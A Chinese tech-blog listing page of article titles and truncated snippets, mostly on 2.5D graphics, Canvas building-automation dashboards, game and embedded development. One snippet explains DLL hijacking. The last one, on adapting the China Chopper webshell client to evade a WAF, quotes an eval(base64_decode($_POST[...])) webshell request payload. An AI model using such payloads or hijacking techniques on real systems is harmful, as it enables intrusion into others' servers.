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制作2.5D网络拓扑
2024-11-05
2.5D(伪3D)站点可视化第一弹
楔子 最近要做一个基站站点的可视化呈现项目. 我们首先尝试的是三维的可视化技术来程序,但是客户反馈的情况是他们的客户端电脑比较差,性能效率都会不好,甚至有的还是云主机. 因此我们先做了一个性能比较极致的3Ddemo,如下图所示: 为了能够尽可能的性能最优,所以想了各种性能优化手段.当然效果上也会有折扣,这个demo与我们本身的一些产品比如3D机房等相比较,效果上面肯定有了很大的差距.不过性能方面还是很不错的. 然而,很不幸,客户在拿到demo测试之后,不满意....性能还算凑合,但他们还觉得效果
cocos2d-x进化为2.5D的一些想法
首先我得说Unity3D已经做的非常好了,搞这些东西意义真心不大.详细Unity3D有什么优势我之前也写过两篇文章来阐述自己的想法. 假设我的下一份工作是U3D的话,预计我就不会有这些想法或者研究了.只是谁让我又又一次转回cocos2d了呢.我的新的工作大概就是写一个cocos2d-x的2.5D游戏. 假设依照我自己的想法,那肯定是U3D来做.只是我在技术上从来不是刚愎自用的人.并且非常多时候做游戏图形学和算法都没那么重要,说白了就是拿什么都能做,这里面很多其它的可能是个人
架构图(拓扑图)画图工具分析整理(静态,动态,可交互图.层级tu)
最近要画架构图. 一方面有图片洁癖,另外一方面又不想不停的挪动图片. 一开始想用脑图软件. 发现脑图是树状的,架构模块依赖图是网状的.(也可以简化为层级图,不画交互关系.类似 dubbo 的架构图. 外部系统,基础系统,应用层.) 到处搜索有什么可编程的方案. 后面搜索到拓扑图. 简单的布局,画图语言javascript,python很多(变量化),但是有自动布局的组件很少.(graphivz 有自动布局能力,但没有编程功能,变量,for 等缺失.) 1.静态库: 一开始得到的是一些库或者工具:
基于 HTML5 Canvas 的楼宇自控系统
前言 楼宇自控是指楼宇中电力设备,如电梯.水泵.风机.空调等,其主要工作性质是强电驱动.通常这些设备是开放性的工作状态,也就是说没有形成一个闭环回路.只要接通电源,设备就在工作,至于工作状态.进程.能耗等,无法在线及时得到数据,更谈不上合理使用和节约能源.现在楼宇自控是将上述的电器设备进行在线监控,通过设置相应的传感器.行程开关.光电控制等,对设备的工作状态进行检测,并通过线路返回控制机房的中心电脑,由电脑得出分析结果,再返回到设备终端进行调解. (具体效果请参考链接:http://www.hi
基于 HTML5 + Canvas 实现楼宇自控系统
前言 楼宇自控是指楼宇中电力设备,如电梯.水泵.风机.空调等,其主要工作性质是强电驱动.通常这些设备是开放性的工作状态,也就是说没有形成一个闭环回路.只要接通电源,设备就在工作,至于工作状态.进程.能耗等,无法在线及时得到数据,更谈不上合理使用和节约能源.现在楼宇自控是将上述的电器设备进行在线监控,通过设置相应的传感器.行程开关.光电控制等,对设备的工作状态进行检测,并通过线路返回控制机房的中心电脑,由电脑得出分析结果,再返回到设备终端进行调解. (具体效果请参考链接:http://www.hi
基于 HTML5 + Canvas 实现的楼宇自控系统
前言 楼宇自控是指楼宇中电力设备,如电梯.水泵.风机.空调等,其主要工作性质是强电驱动.通常这些设备是开放性的工作状态,也就是说没有形成一个闭环回路.只要接通电源,设备就在工作,至于工作状态.进程.能耗等,无法在线及时得到数据,更谈不上合理使用和节约能源.现在楼宇自控是将上述的电器设备进行在线监控,通过设置相应的传感器.行程开关.光电控制等,对设备的工作状态进行检测,并通过线路返回控制机房的中心电脑,由电脑得出分析结果,再返回到设备终端进行调解. (具体效果请参考链接:http://www.hi
基于 H5 Canvas 实现楼宇自控系统
前言 楼宇自控是指楼宇中电力设备,如电梯.水泵.风机.空调等,其主要工作性质是强电驱动.通常这些设备是开放性的工作状态,也就是说没有形成一个闭环回路.只要接通电源,设备就在工作,至于工作状态.进程.能耗等,无法在线及时得到数据,更谈不上合理使用和节约能源.现在楼宇自控是将上述的电器设备进行在线监控,通过设置相应的传感器.行程开关.光电控制等,对设备的工作状态进行检测,并通过线路返回控制机房的中心电脑,由电脑得出分析结果,再返回到设备终端进行调解. (具体效果请参考链接:http://www.hi
【CityHunter】通过Unity3D来制作游戏中AR部分的内容
嗯,最近再考虑,CityHunter中,玩家攻略藏宝图时,为了增加可玩性,应该增强在AR部分的游戏性.最近特别火的游戏<Pokemon Go>在打开摄像头以后,可以看到小精灵,实际上,如果这款游戏没有这个功能,那整个游戏还真没有什么游戏的感觉(就是动画.图像之类的元素特别少).本人比较懒,没有去弄这款游戏,于是跟远在澳大利亚的高中老兄弟咨询了一下这款游戏的情况. 事实上,<Pokemon Go>的AR元素,实现还是比较简单的.可以理解为,只不过是单纯的打开了摄像头,把背景替换了一下
JFreeChart在制作折线图
JFreeChart在制作折线图的时候可以使用两种不同的方式 package Line; import java.awt.Color; import java.awt.Font; import org.jfree.chart.ChartFactory; import org.jfree.chart.ChartFrame; import org.jfree.chart.JFreeChart; import org.jfree.chart.StandardChartTheme; import org
OpenStack Nova 制作 Windows 镜像
OpenStack Nova 制作 Windows 镜像 windows虚拟机ubuntuimage防火墙云计算 本贴转自http://www.vpsee.com 上次 VPSee 给 OpenStack Nova 制作 Ubuntu 镜像的时候忘了介绍制作 Windows 镜像和在 Nova 上运行 Windows 虚拟机的情况,前几天刚好有人在微薄上问到这个问题.在 Nova 上运行 Windows 的虚拟机其实很容易,和运行 Linux 虚拟机差不多:先制作一个 Windows 虚拟机
S3C2440实现wifi、3G上网和迷你无线路由的制作(一)
S3C2440实现wifi.3G上网和迷你无线路由的制作 fulinux 凌云实验室 本文将通过ARM.linux平台,借助RT2070/RT3070芯片的无线模块(或使用RT2070/RT3070芯片的USB无线上网卡).3G无线上网卡,实现无线上网.通过ADSL和3G的迷你无线路由器的制作. wifi上网 首先是利用s3c2440开发板和RT2070/RT3070芯片的无线模块实现无线上网的功能,即让无线模块工作在STA模式,所谓的STA在WLAN中一般为客户端,可以是装有无线网卡的计算机,
[TPYBoard-Micropython之会python就能做硬件 3] 制作电子时钟
转载请注明:@小五义 http://www.cnblogs.com/xiaowuyi 欢迎加入讨论群 64770604 一.本次实验所需器材 1.TPYboard V102板 一块 2.DS3231模块 一块 3.NOKIA 5110 LCD 屏 一块 4.杜邦线:若干 ===感谢某宝“萝卜城”提供的TPYboard V102豪华版套餐=== 二.DS3231模块 1.什么是DS3231 DS3231是低成本.高精度I2C实时时钟(RTC),具有集成的温补晶振(TCXO)和晶体.该器件包含
操作系统内核Hack:(三)引导程序制作
操作系统内核Hack:(三)引导程序制作 关于本文涉及到的完整源码请参考MiniOS的v1_bootloader分支. 1.制作方法 现在我们已经了解了关于BootLoader的一切知识,让我们开始动手做一个BootLoader吧!但真正开始之前,我们还要做出一个选择,在之前的讨论中我们曾说过,有两种学习和制作引导程序和操作系统内核的路线:1)<Orange's:一个操作系统的实现>书中的路线:2)Linux 0.11的路线. 1.1 两种实现思路 具体来说,第一种路线就是将BootLoade
制作OTA升级包
OTA 软件包工具 本文地址http://wossoneri.github.io/2018/09/21/%5BAndroid%5D%5BFramework%5Dcreate-ota-update-zip/ build/tools/releasetools 中提供的 ota_from_target_files 工具可以构建两种类型的软件包:完整更新软件包和增量更新软件包.该工具将 Android 构建系统生成的 target_files .zip 文件作为输入文件. 完整更新 完整更新是指软件包将
DLL补丁劫持制作
DLL: 由于输入表中只包含 DLL 名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL 文件.首先会尝试从当前程序所在的目录加载 DLL,如果没找到,则在Windows 系统目录中查找,最后是在环境变量中列出的各个目录下查找.利用这个特点,先伪造一个系统同名的 DLL,提供同样的输出表,每个输出函数转向真正的系统 DLL.程序调用系统 DLL 时会先调用当前目录下伪造的 DLL,完成相关功能后,再跳到系统DLL同名函数里执行.这个过程用个形象的词来描述就是系统 DLL 被劫持(hijac
WordPress 主题教程:从零开始制作 WordPress 主题
为什么要开发WordPress主题? WordPress主题由一系列文件和样式表单组成,这些文件和样式表单共同作用生成WordPress网站的外观.每个主题都不同,用户可以通过这些主题随心所欲地更换自己网站的外观.那么为什么我们要自己开发WordPress主题呢? 为自己的WordPress网站打造独一无二的外观 利用模板.模板标签和WordPress Loop创作不同的网页表现形式和网站外观 为网站特殊功能如类别页面和搜索结果页面提供其它模板 轻松切换两种网站外观设计,或利用主题.样式转换器来
iOS .a静态库的制作及使用
一.制作.a静态库 1.创建静态库工程,工程命名为BaseSDK,生成的.a文件名变成libBaseSDK.
使用Unity做2.5D游戏教程(二)
最近在研究Unity 3D,看了老外Marin Todorov写的教程很详细,就翻译过来以便自己参考,翻译不好的地方请多包涵. 这是使用Unity 游戏开发工具制作一个简单的2.5D 游戏系列教程的第二部分.如果你没有看到第一部分的话请先看. 在系列教程的第一部分,我们覆盖了一些怎样使用Unity的基础性知识 和使用 C#写一些脚本.我们创建了一个简单的游戏,一个飞机可以来回飞行同时轰炸鲨鱼,保护小鱼! 在这个教程的第二部分也是最后一部分,我们将延长这个游戏添加一些收尾内容.我们将添加一个声音效
什么是2.5D与3D编辑模式
ZBrush®其实就是一个带有三维特性的二维软件,它不仅具有绘制二维图像的功能,而且也具有对三维物体进行编辑的功能,就是所谓的2.5D(Pixol技术). 学习ZBrush之前有必要了解一下2.5D的概念,什么叫2.5D呢?说的通俗点,ZBrush就是一个带有三维特性的二维软件.它不仅具有绘制二维图像的功能,而且也具有对三维物体进行编辑的功能,就是所谓的2.5D(Pixol技术). 然而,ZBrush软件采用的Pixol技术能够使进行概念设计的设计师们以最接近现实雕塑的方式更为直观和便捷地进行三
零元学Expression Blend 4 - Chapter 5 2.5D转换的使用技巧
原文:零元学Expression Blend 4 - Chapter 5 2.5D转换的使用技巧 本章将延续上篇零元学Expression Blend4 - Chapter 4元件重复运用的观念所制作的图来进行,教你如何将图做X.Y.Z空间的延伸. ? 本章将延续上篇零元学Expression Blend4 - Chapter 4元件重复运用的观念所制作的图来进行,教你如何将图做X.Y.Z空间的延伸. ? 就是要让不会的新手都看的懂! ? 01 沿用上一章的青蛙图 我们沿用上一章的青蛙图,请把青
渗透-简单制作过waf的中国菜刀
0x01 简单分析 web渗透中很常见的情况,用菜刀连接免杀的一句话木马连不上,有waf 除了变形一句话木马为免杀一句话,我们还需要来制作过waf的菜刀进行连接. 这里用的一句话为 来看看菜刀连接一句话的时候的包 x=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F
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